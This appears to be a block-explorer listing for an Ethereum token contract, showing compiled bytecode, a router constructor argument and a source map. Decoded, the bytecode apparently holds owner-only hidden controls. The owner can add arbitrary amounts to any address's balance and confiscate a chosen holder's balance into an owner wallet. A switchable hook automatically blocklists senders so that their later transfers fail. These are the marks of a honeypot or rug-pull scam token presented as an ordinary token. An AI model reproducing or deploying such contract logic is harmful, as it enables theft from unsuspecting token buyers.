00000008152600401611e869061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ec857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f9061490f565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b611fd06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461205d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120549061459f565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6120c06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449061459f565b60405180910390fd5b80601760016101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6121f96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227d9061459f565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d191906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6123206129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a49061459f565b60405180910390fd5b801515600d60019054906101000a900460ff161515036123cc57600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b6123f76129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247b9061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea906149a1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6125be6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126429061459f565b60405180910390fd5b612653611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b790614a0d565b60405180910390fd5b670de0b6b3a7640000816126d49190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612874576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280a91906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fb565b670de0b6b3a7640000816128889190614a2d565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d29190614a6f565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000816129299190614a2d565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299591906146ba565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6d90614b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adc90614ba7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612bc391906143c1565b60405180910390a3505050565b6000612bdc848461216a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612c565781811015612c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3f90614c13565b60405180910390fd5b612c558484848403612a07565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc390614ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3290614d37565b60405180910390fd5b60008203612d5657612d4f848460006130c7565b90506130c0565b601760019054906101000a900460ff16156130a657600d60009054906101000a900460ff1615612d9257612d8b8484846130c7565b90506130c0565b6000612d9d3061193c565b90506000600c548210159050808015612dc35750600d60009054906101000a900460ff16155b8015612e1c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612e345750600d60019054906101000a900460ff165b15612e5e57600d60029054906101000a900460ff1615612e5457600c5491505b612e5d82613255565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ea99190614a6f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f8f5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612fa357612f9e87878761329d565b612fa5565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ff291906146ba565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161309291906143c1565b60405180910390a3600193505050506130c0565b6130b08483613563565b6130bb84848461378b565b600190505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131149190614a6f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a291906146ba565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161324291906143c1565b60405180910390a3600190509392505050565b61325e81613d95565b6000479050600081111561329957613298600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261400e565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133485750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561336b576009546008548461335e9190614a2d565b6133689190614d86565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133df57600954600654846133ce9190614a2d565b6133d89190614d86565b9050613450565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561344f57600954600754846134429190614a2d565b61344c9190614d86565b90505b5b600081111561354d5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a491906146ba565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354491906143c1565b60405180910390a35b80836135599190614a6f565b9150509392505050565b61356b611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156135f05750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156136465750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561378757601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136a257600080fd5b600060155411156136bd576015548111156136bc57600080fd5b5b601460009054906101000a900460ff161561370d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370490614e03565b60405180910390fd5b6000601654111561376757601654600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561376657600080fd5b5b601760009054906101000a900460ff16156137865761378582614059565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561380d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161380490614e6f565b60405180910390fd5b613815611a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561389a5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156138d257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613c0e57600d60009054906101000a900460ff16156138fd576138f78383836130c7565b50613ba4565b60006139083061193c565b90506000600c54821015905080801561392e5750600d60009054906101000a900460ff16155b80156139875750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561399f5750600d60019054906101000a900460ff165b156139c957600d60029054906101000a900460ff16156139bf57600c5491505b6139c882613255565b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a149190614a6f565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613afa5750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613b0e57613b0986868661329d565b613b10565b835b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5d91906146ba565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c0191906143c1565b60405180910390a3613d90565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c599190614a6f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ce791906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d8791906143c1565b60405180910390a35b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613dcd57613dcc614e8f565b5b604051908082528060200260200182016040528015613dfb5781602001602082028036833780820191505090505b5090503081600081518110613e1357613e12614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ede9190614703565b81600181518110613ef257613ef1614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f5930601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a07565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fbd959493929190614fe6565b600060405180830381600087803b158015613fd757600080fd5b505af1158015613feb573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614054573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140e4826140b9565b9050919050565b6140f4816140d9565b81146140ff57600080fd5b50565b600081359050614111816140eb565b92915050565b60006020828403121561412d5761412c6140b4565b5b600061413b84828501614102565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561417e578082015181840152602081019050614163565b60008484015250505050565b6000601f19601f8301169050919050565b60006141a682614144565b6141b0818561414f565b93506141c0818560208601614160565b6141c98161418a565b840191505092915050565b600060208201905081810360008301526141ee818461419b565b905092915050565b6000819050919050565b614209816141f6565b811461421457600080fd5b50565b60008135905061422681614200565b92915050565b60008060408385031215614243576142426140b4565b5b600061425185828601614102565b925050602061426285828601614217565b9150509250929050565b60008115159050919050565b6142818161426c565b82525050565b600060208201905061429c6000830184614278565b92915050565b6142ab8161426c565b81146142b657600080fd5b50565b6000813590506142c8816142a2565b92915050565b600080604083850312156142e5576142e46140b4565b5b60006142f385828601614102565b9250506020614304858286016142b9565b9150509250929050565b614317816140d9565b82525050565b6000602082019050614332600083018461430e565b92915050565b6000819050919050565b600061435d614358614353846140b9565b614338565b6140b9565b9050919050565b600061436f82614342565b9050919050565b600061438182614364565b9050919050565b61439181614376565b82525050565b60006020820190506143ac6000830184614388565b92915050565b6143bb816141f6565b82525050565b60006020820190506143d660008301846143b2565b92915050565b6000806000606084860312156143f5576143f46140b4565b5b600061440386828701614102565b935050602061441486828701614102565b925050604061442586828701614217565b9150509250925092565b600060208284031215614445576144446140b4565b5b6000614453848285016142b9565b91505092915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b6000806000606084860312156144ac576144ab6140b4565b5b60006144ba86828701614217565b93505060206144cb86828701614217565b92505060406144dc86828701614217565b9150509250925092565b6000602082840312156144fc576144fb6140b4565b5b600061450a84828501614217565b91505092915050565b6000806040838503121561452a576145296140b4565b5b600061453885828601614102565b925050602061454985828601614102565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061458960208361414f565b915061459482614553565b602082019050919050565b600060208201905081810360008301526145b88161457c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061460657607f821691505b602082108103614619576146186145bf565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b6000614655600e8361414f565b91506146608261461f565b602082019050919050565b6000602082019050818103600083015261468481614648565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006146c5826141f6565b91506146d0836141f6565b92508282019050808211156146e8576146e761468b565b5b92915050565b6000815190506146fd816140eb565b92915050565b600060208284031215614719576147186140b4565b5b6000614727848285016146ee565b91505092915050565b6000604082019050614745600083018561430e565b614752602083018461430e565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b600061478f600d8361414f565b915061479a82614759565b602082019050919050565b600060208201905081810360008301526147be81614782565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061482160258361414f565b915061482c826147c5565b604082019050919050565b6000602082019050818103600083015261485081614814565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b600061488d600d8361414f565b915061489882614857565b602082019050919050565b600060208201905081810360008301526148bc81614880565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b60006148f960188361414f565b9150614904826148c3565b602082019050919050565b60006020820190508181036000830152614928816148ec565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061498b60268361414f565b91506149968261492f565b604082019050919050565b600060208201905081810360008301526149ba8161497e565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b60006149f7600c8361414f565b9150614a02826149c1565b602082019050919050565b60006020820190508181036000830152614a26816149ea565b9050919050565b6000614a38826141f6565b9150614a43836141f6565b9250828202614a51816141f6565b91508282048414831517614a6857614a6761468b565b5b5092915050565b6000614a7a826141f6565b9150614a85836141f6565b9250828203905081811115614a9d57614a9c61468b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614aff60248361414f565b9150614b0a82614aa3565b604082019050919050565b60006020820190508181036000830152614b2e81614af2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614b9160228361414f565b9150614b9c82614b35565b604082019050919050565b60006020820190508181036000830152614bc081614b84565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614bfd601d8361414f565b9150614c0882614bc7565b602082019050919050565b60006020820190508181036000830152614c2c81614bf0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614c8f60258361414f565b9150614c9a82614c33565b604082019050919050565b60006020820190508181036000830152614cbe81614c82565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614d2160238361414f565b9150614d2c82614cc5565b604082019050919050565b60006020820190508181036000830152614d5081614d14565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614d91826141f6565b9150614d9c836141f6565b925082614dac57614dab614d57565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614ded60058361414f565b9150614df882614db7565b602082019050919050565b60006020820190508181036000830152614e1c81614de0565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000614e5960158361414f565b9150614e6482614e23565b602082019050919050565b60006020820190508181036000830152614e8881614e4c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614f12614f0d614f0884614eed565b614338565b6141f6565b9050919050565b614f2281614ef7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f5d816140d9565b82525050565b6000614f6f8383614f54565b60208301905092915050565b6000602082019050919050565b6000614f9382614f28565b614f9d8185614f33565b9350614fa883614f44565b8060005b83811015614fd9578151614fc08882614f63565b9750614fcb83614f7b565b925050600181019050614fac565b5085935050505092915050565b600060a082019050614ffb60008301886143b2565b6150086020830187614f19565b818103604083015261501a8186614f88565b9050615029606083018561430e565b61503660808301846143b2565b969550505050505056fea264697066735822122007c5e1fb0df0c371d11753e43f0ecc92b889e1e8193ed437966e3edb294b15f664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : _router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

12618:20316:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16212:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14466:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17955:226;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32840:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16788:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13566:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26384:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15586:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32758:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13400:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18761:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28365:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32783:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15428:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13009:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19465:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13512:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12927:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13453:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27505:637;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16501:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32348:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15908:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16008:96;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13363:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15757:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13085:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32812:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16598:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2381:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14685:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16314:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20231:498;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17178:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16694:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28150:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32903:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28683:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13614:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12968:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16114:90;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32110:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17459:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30574:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28545:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13260:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2595:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13050:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29260:486;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16212:94;2518:12;:10;:12::i;:::-;2508:22;;:6;;;;;;;;;;:22;;;2500:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16293:5:::1;16277:4;:13;16282:7;16277:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16212:94:::0;:::o;14466:100::-;14520:13;14553:5;14546:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14466:100;:::o;17955:226::-;18063:4;18080:13;18096:12;:10;:12::i;:::-;18080:28;;18119:32;18128:5;18135:7;18144:6;18119:8;:32::i;:::-;18169:4;18162:11;;;17955:226;;;;:::o;32840:20::-;;;;;;;;;;;;;:::o;16788:184::-;16892:13;2518:12;:10;